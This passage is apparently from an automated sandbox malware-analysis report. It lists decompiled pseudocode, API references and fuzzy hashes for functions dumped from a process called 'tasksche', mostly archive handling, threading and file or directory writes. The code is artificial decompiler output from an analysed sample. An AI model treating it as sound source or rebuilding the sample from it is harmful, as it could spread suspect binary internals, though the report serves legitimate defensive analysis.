					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, L"rar") != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408257
0x00408259
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Strings

rar, xrefs: 00408262

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411254() {
				void* __ecx;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t7 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10); // executed
						_t13 = _t7;
						if(_t13 == 0) {
							_push(L"CreateThread failed");
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

0x00411259
0x0041125d
0x00411261
0x00411264
0x00411278
0x0041127e
0x00411282
0x00411284
0x00411289
0x0041129a
0x004112a6
0x004112a6
0x004112ab
0x004112ad
0x004112b3
0x004112ba
0x004112bf
0x004112bf
0x004112c5
0x004112c6
0x004112c9
0x00000000
0x004112ce
0x004112d2

APIs

CreateThread.KERNELBASE ref: 00411278
SetThreadPriority.KERNEL32(?,00000000,?,?,004112E4,-00000108,00404FE0), ref: 004112BF

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

CreateThread failed, xrefs: 00411284

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 4.6, APIs: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004126F0(void* __ecx, unsigned int _a4, char _a8, char _a11) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t37;
				signed int _t39;
				intOrPtr _t41;
				signed int _t44;
				signed int _t50;
				unsigned int _t53;
				void* _t59;
				void* _t64;
				signed int _t65;
				signed int* _t67;
				intOrPtr* _t69;
				void* _t74;

				_t53 = _a4;
				_t74 = __ecx;
				if(_t53 == 0) {
					E004063CE(0x4335ac);
				}
				_t37 = 0x40000;
				if(_t53 < 0x40000) {
					_t53 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t53 >  *(_t74 + 0xe6d8)) {
					_t37 = _t53 >> 0x10;
					if(_t37 <= 0x10000) {
						if(_a8 == 0 ||  *(_t74 + 0x4b34) == 0 &&  *((char*)(_t74 + 0x4c38)) == 0) {
							L11:
							_a11 = 0;
							goto L12;
						} else {
							_a11 = 1;
							if( *((char*)(_t74 + 0x4c38)) == 0) {
								L12:
								_push(_t67);
								if( *((char*)(_t74 + 0x4c38)) == 0) {
									_t39 = E0041CF3E(_t53, _t64, _t67, _t53); // executed
									_v8 = _t39;
									__eflags = _t39;
									if(__eflags != 0) {
										L20:
										if( *((char*)(_t74 + 0x4c38)) != 0) {
											L27:
											 *(_t74 + 0xe6d8) = _t53;
											 *((intOrPtr*)(_t74 + 0xe6dc)) = _t53 - 1;
											return _t39;
										}
										E0041A820(_t67, _v8, 0, _t53);
										if(_a11 == 0) {
											L24:
											_t69 = _t74 + 0x4b34;
											_t41 =  *_t69;
											_t94 = _t41;
											if(_t41 != 0) {
												_push(_t41);
												E0041A506(_t53, _t69, _t74, _t94);
											}
											_t39 = _v8;
											 *_t69 = _t39;
											goto L27;
										}
										_t59 = 1;
										if( *(_t74 + 0xe6d8) < 1) {
											goto L24;
										} else {
											goto L23;
										}
										do {
											L23:
											_t44 =  *((intOrPtr*)(_t74 + 0x70)) - _t59;
											_t65 = _t53 - 1;
											_t53 = _a4;
											_t59 = _t59 + 1;
											 *((char*)((_t65 & _t44) + _v8)) =  *((intOrPtr*)(( *(_t74 + 0xe6d8) - 0x00000001 & _t44) +  *(_t74 + 0x4b34)));
										} while (_t59 <=  *(_t74 + 0xe6d8));
										goto L24;
									}
									L15:
									if(_a11 != 0 || _t53 < 0x1000000) {
										goto L10;
									} else {
										_t67 = _t74 + 0x4b34;
										_t50 =  *_t67;
										_t88 = _t50;
										if(_t50 != 0) {
											_push(_t50);
											E0041A506(_t53, _t67, _t74, _t88);
											 *_t67 =  *_t67 & 0x00000000;
										}
										_t39 = E0041254D(_t74 + 0x4b38, _t53);
										 *((char*)(_t74 + 0x4c38)) = 1;
										goto L20;
									}
								}
								_v8 = _v8 & 0x00000000;
								goto L15;
							}
							L10:
							E0041216A( &_v20);
							E0041C77F( &_v20, 0x42d504);
							goto L11;
						}
					}
				}
				return _t37;
			}

0x004126f7
0x004126fb
0x004126ff
0x00412706
0x00412706
0x0041270b
0x00412712
0x00412714
0x00412716
0x00412716
0x0041271f
0x00412727
0x0041272f
0x00412739
0x00412770
0x00412770
0x00000000
0x0041274d
0x00412754
0x00412758
0x00412774
0x0041277b
0x0041277c
0x00412785
0x0041278b
0x0041278e
0x00412790
0x004127c9
0x004127d0
0x00412837
0x00412837
0x0041283e
0x00000000
0x00412844
0x004127d8
0x004127e4
0x0041281f
0x0041281f
0x00412825
0x00412827
0x00412829
0x0041282b
0x0041282c
0x00412831
0x00412832
0x00412835
0x00000000
0x00412835
0x004127e8
0x004127ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004127f1
0x004127f1
0x004127fa
0x004127ff
0x00412802
0x00412813
0x00412814
0x00412817
0x00000000
0x004127f1
0x00412792
0x00412796
0x00000000
0x004127a0
0x004127a0
0x004127a6
0x004127a8
0x004127aa
0x004127ac
0x004127ad
0x004127b2
0x004127b5
0x004127bd
0x004127c2
0x00000000
0x004127c2
0x00412796
0x0041277e
0x00000000
0x0041277e
0x0041275a
0x0041275d
0x0041276b
0x00000000
0x0041276b
0x00412739
0x0041272f
0x00412848

APIs

__CxxThrowException@8.LIBCMT ref: 0041276B
_malloc.LIBCMT ref: 00412785

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_memset.LIBCMT ref: 004127D8

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction ID: 1154a5c9599e5537b836a1002f89e902606abe80a59ae87693d08389c363c3d7
Opcode Fuzzy Hash: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction Fuzzy Hash: 05410470905745ABEB25EE38D6C47DBB7D0AF14304F20482FE5A6D3281C7B8A9E4C718

Uniqueness

Uniqueness Score: -1.00%

Function 00408AA9 Relevance: 4.6, APIs: 3, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00408AA9(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				long _v8;
				char _t28;
				long _t33;
				long _t34;
				int _t37;
				void* _t38;
				char _t43;
				intOrPtr _t48;
				long _t56;
				void* _t61;
				struct _OVERLAPPED* _t63;
				intOrPtr* _t68;

				_t61 = __edx;
				_push(__ecx);
				_t68 = __ecx;
				if(_a8 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t68 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_t63 = 0;
						_t43 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t68 + 0xc)) == 0) {
							goto L12;
						}
						if(_a8 <= 0) {
							L14:
							if( *((char*)(_t68 + 0x14)) == 0 ||  *((intOrPtr*)(_t68 + 0xc)) != 0) {
								L21:
								_t28 = _t43;
								 *((char*)(_t68 + 8)) = 1;
								L22:
								return _t28;
							} else {
								if(E00406336(0x4335ac, _t68 + 0x1e, 0) == 0) {
									E004064F3(0x4335ac, 0, _t68 + 0x1e);
									goto L21;
								}
								_t33 = _v8;
								if(_t33 < _a8 && _t33 > 0) {
									_t48 =  *_t68;
									_t38 =  *((intOrPtr*)(_t48 + 0x10))(0);
									asm("sbb edx, edi");
									 *((intOrPtr*)(_t48 + 0xc))(_t38 - _v8, _t61);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t56 = _a8 - _t63;
							_t34 = 0x4000;
							if(_t56 < 0x4000) {
								_t34 = _t56;
							}
							_t37 = WriteFile( *(_t68 + 4), _a4 + _t63, _t34,  &_v8, 0);
							asm("sbb bl, bl");
							_t43 =  ~(_t37 - 1) + 1;
							if(_t43 == 0) {
								goto L14;
							}
							_t63 = _t63 + 0x4000;
							if(_t63 < _a8) {
								continue;
							}
							L13:
							if(_t43 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						WriteFile( *(_t68 + 4), _a4, _a8,  &_v8, 0); // executed
						asm("sbb bl, bl");
						_t43 = 1;
						goto L13;
					}
				}
				_t28 = 1;
				goto L22;
			}

0x00408aa9
0x00408aac
0x00408ab2
0x00408ab4
0x00408ac1
0x00408acb
0x00408acb
0x00408ad0
0x00408ad0
0x00408ad2
0x00408ad4
0x00408ada
0x00000000
0x00000000
0x00408adf
0x00408b40
0x00408b44
0x00408ba1
0x00408ba2
0x00408ba4
0x00408ba9
0x00408bab
0x00408b4c
0x00408b60
0x00408b9c
0x00000000
0x00408b9c
0x00408b62
0x00408b68
0x00408b76
0x00408b7c
0x00408b86
0x00408b8c
0x00408b8c
0x00000000
0x00408b68
0x00000000
0x00000000
0x00000000
0x00408ae1
0x00408ae1
0x00408ae4
0x00408ae6
0x00408aed
0x00408aef
0x00408aef
0x00408b01
0x00408b0c
0x00408b0e
0x00408b10
0x00000000
0x00000000
0x00408b12
0x00408b1b
0x00000000
0x00000000
0x00408b3c
0x00408b3e
0x00000000
0x00000000
0x00000000
0x00408b3e
0x00000000
0x00408b1f
0x00408b2d
0x00408b38
0x00408b3a
0x00000000
0x00408b3a
0x00408ad0
0x00408ab6
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?,?,00000001,?), ref: 00408AC5
WriteFile.KERNEL32(00000001,?,00004000,?,00000000,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?), ref: 00408B01
WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BB41,?,?,00000000,?,?), ref: 00408B2D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction ID: f20fcf70e75a5c6d44a32b1c4255a65a5bf54a4d93884812af3801fc7a684339
Opcode Fuzzy Hash: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction Fuzzy Hash: 9B31C371300204AFDB209F65CA44BAB77A9EB94310F04813FF996E72C1DB78A905DF29

Uniqueness

Uniqueness Score: -1.00%

Function 004092C9 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004092C9(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t9;
				long _t11;
				void* _t12;
				int _t21;
				WCHAR* _t22;
				void* _t24;

				_t24 = __eflags;
				E0041AAF0(0x1000);
				_t22 = _a4;
				_t9 =  *(E0040A08A(_t24, _t22)) & 0x0000ffff;
				if(_t9 == 0x2e || _t9 == 0x20) {
					L3:
					if(E004092A5(_t22) != 0 || E0040A3DC(_t22,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t11 = GetLastError();
						__eflags = _t11 - 2;
						if(_t11 == 2) {
							L12:
							_t12 = 2;
							return _t12;
						}
						__eflags = _t11 - 3;
						if(_t11 == 3) {
							goto L12;
						}
						return 1;
					} else {
						goto L6;
					}
				} else {
					_t21 = CreateDirectoryW(_t22, 0); // executed
					if(_t21 != 0) {
						L6:
						if(_a8 != 0) {
							E0040908D(_t22, _a12);
						}
						return 0;
					}
					goto L3;
				}
			}

0x004092c9
0x004092d1
0x004092d8
0x004092e1
0x004092ee
0x004092ff
0x00409307
0x00409341
0x00409347
0x0040934a
0x00409356
0x00409358
0x00000000
0x00409358
0x0040934c
0x0040934f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004092f6
0x004092f9
0x004092fd
0x0040932e
0x00409332
0x00409338
0x00409338
0x00000000
0x0040933d
0x00000000
0x004092fd

APIs

Part of subcall function 0040A08A: _wcslen.LIBCMT ref: 0040A090

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?), ref: 004092F9
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000800,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?), ref: 00409328
GetLastError.KERNEL32(00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?,?,004067A5), ref: 00409341

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction ID: 5cfd1deac55777c6f3d5c0bdf32a3cf990456680eccb4e8d5c114054f7fd3324
Opcode Fuzzy Hash: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction Fuzzy Hash: DD01C031100204A5DB216A664C42BBB37589B4EB84F88447BFD41F62D2CB7C9C92D97E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D7 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040E2D7(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t20;
				void* _t25;
				void* _t39;
				void* _t45;
				intOrPtr _t47;

				_t39 = __edx;
				E0041A4DC(E00429794, _t45);
				_push(__ecx);
				E0041AAF0(0x6460);
				 *((intOrPtr*)(_t45 - 0x10)) = _t47;
				E0041A7F7(0x44ac32, "X");
				E00410D16(0x44cc54, 0x42a570);
				E0041A7F7(0x44bc52,  *((intOrPtr*)(_t45 + 0xc)));
				E0040537E(0x443980,  *((intOrPtr*)(_t45 + 0xc)));
				_t4 = _t45 - 4;
				 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
				_t20 = 4;
				 *0x449c14 = _t20;
				 *0x449c10 = _t20;
				 *0x449c0c = _t20;
				 *0x448ad3 =  *0x441823;
				_push(0x443980);
				 *0x448b08 = 1;
				 *0x448b0b = 1;
				 *0x448ad4 =  *0x441822; // executed
				E00407150(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 1;
				E004083C0(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 0;
				_t25 = E00407074(_t45 - 0x6470); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t25;
			}

0x0040e2d7
0x0040e2dc
0x0040e2e1
0x0040e2e7
0x0040e2ef
0x0040e2fc
0x0040e30d
0x0040e31a
0x0040e32b
0x0040e330
0x0040e330
0x0040e336
0x0040e337
0x0040e33c
0x0040e341
0x0040e34b
0x0040e355
0x0040e35c
0x0040e363
0x0040e36a
0x0040e36f
0x0040e37a
0x0040e37e
0x0040e389
0x0040e38d
0x0040e397
0x0040e3a0

APIs

__EH_prolog.LIBCMT ref: 0040E2DC
_wcscpy.LIBCMT ref: 0040E2FC

Part of subcall function 00410D16: _wcslen.LIBCMT ref: 00410D2C
Part of subcall function 00410D16: _wcscpy.LIBCMT ref: 00410D42

_wcscpy.LIBCMT ref: 0040E31A

Part of subcall function 00407150: __EH_prolog.LIBCMT ref: 00407155

Part of subcall function 00407074: __EH_prolog.LIBCMT ref: 00407079

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction ID: 34baa23ef678cdf00172776f2fc4f6da7b22e3ce89fab18911e310d79256e735
Opcode Fuzzy Hash: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction Fuzzy Hash: E7112675906294AED705EBA4AC427CD7BA0DB16318F1040AFF444A2292CFB91A90DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401768 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401768(intOrPtr* __ecx, void* __edx) {
				void* __edi;
				void* _t25;
				signed int _t27;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t35;
				void* _t54;
				void* _t58;

				_t51 = __edx;
				E0041A4DC(E00429705, _t58);
				_t56 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xb056)) != 0) {
					E0040117B(_t58 - 0x1c, __edx, __ecx);
					 *(_t58 - 4) = 0;
					__eflags =  *(__ecx + 0x658c);
					if( *(__ecx + 0x658c) == 0) {
						_push(0);
						_t25 = E00401B26(__ecx);
						_push(_t51);
						 *((intOrPtr*)( *__ecx + 0xc))();
						_t27 = E00403767(__ecx, _t51, _t58, __eflags, "CMT");
						_t54 = _t25;
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							 *((char*)(_t58 + 0xb)) = 0;
						} else {
							_push( *((intOrPtr*)(_t58 + 8)));
							_t31 = E004012EA(_t56, _t54); // executed
							 *((char*)(_t58 + 0xb)) = 1;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L6;
							}
						}
					} else {
						_push(0);
						_push(0);
						_push( *((intOrPtr*)(__ecx + 0xb060)) + 0x14);
						 *((intOrPtr*)( *__ecx + 0xc))();
						E0040369F(__edx, _t58);
						_t35 =  *((intOrPtr*)(_t58 + 8));
						__eflags =  *(_t35 + 4);
						 *((char*)(_t58 + 0xb)) =  *(_t35 + 4) > 0;
					}
					_t15 = _t58 - 4;
					 *_t15 =  *(_t58 - 4) | 0xffffffff;
					__eflags =  *_t15;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t58 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t58 - 0x14)),  *((intOrPtr*)(_t58 - 0x10)), 0);
					_t30 =  *((intOrPtr*)(_t58 + 0xb));
				} else {
					_t30 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0xc));
				return _t30;
			}

0x00401768
0x0040176d
0x00401777
0x00401781
0x0040178e
0x00401793
0x00401796
0x0040179c
0x004017c7
0x004017ca
0x004017cf
0x004017d3
0x004017dd
0x004017e2
0x004017e3
0x004017e5
0x004017f9
0x004017f9
0x004017e7
0x004017e7
0x004017ec
0x004017f1
0x004017f5
0x004017f7
0x00000000
0x00000000
0x004017f7
0x0040179e
0x004017a6
0x004017aa
0x004017ab
0x004017ae
0x004017b3
0x004017b8
0x004017bb
0x004017be
0x004017be
0x00401801
0x00401801
0x00401801
0x0040180c
0x0040180f
0x00401783
0x00401783
0x00401783
0x00401817
0x0040181f

APIs

__EH_prolog.LIBCMT ref: 0040176D

Strings

CMT, xrefs: 004017D6

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction ID: 903a9e83ebfadd1395375551f57b58f4375dbb7200b7f1b09ca9293e13445996
Opcode Fuzzy Hash: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction Fuzzy Hash: C5210275600144AFCB05EF6488908AEBBB9EF44314B00C06FF866773E2CB389E01DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401106 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401106(intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				unsigned int _t15;
				intOrPtr _t16;
				unsigned int _t20;
				intOrPtr _t23;
				unsigned int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t12 = _a4;
				_t34 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(__ecx + 4)) + _t12;
				_t23 =  *((intOrPtr*)(__ecx + 4));
				if(_t23 >  *((intOrPtr*)(__ecx + 8))) {
					_t13 =  *((intOrPtr*)(__ecx + 0xc));
					_push(_t31);
					if(_t13 != 0 && _t23 > _t13) {
						E00406423(_t23, 0x4335ac, L"Maximum allowed array size (%u) is exceeded", _t13);
						E004063CE(0x4335ac);
					}
					_t15 = ( *(_t34 + 8) >> 2) +  *(_t34 + 8) + 0x20;
					_t26 =  *(_t34 + 4);
					_t20 = _t26;
					_t43 = _t26 - _t15;
					if(_t26 <= _t15) {
						_t20 = _t15;
					}
					_push(_t20);
					_push( *_t34); // executed
					_t16 = E0041A594(_t20, _t31, _t34, _t43); // executed
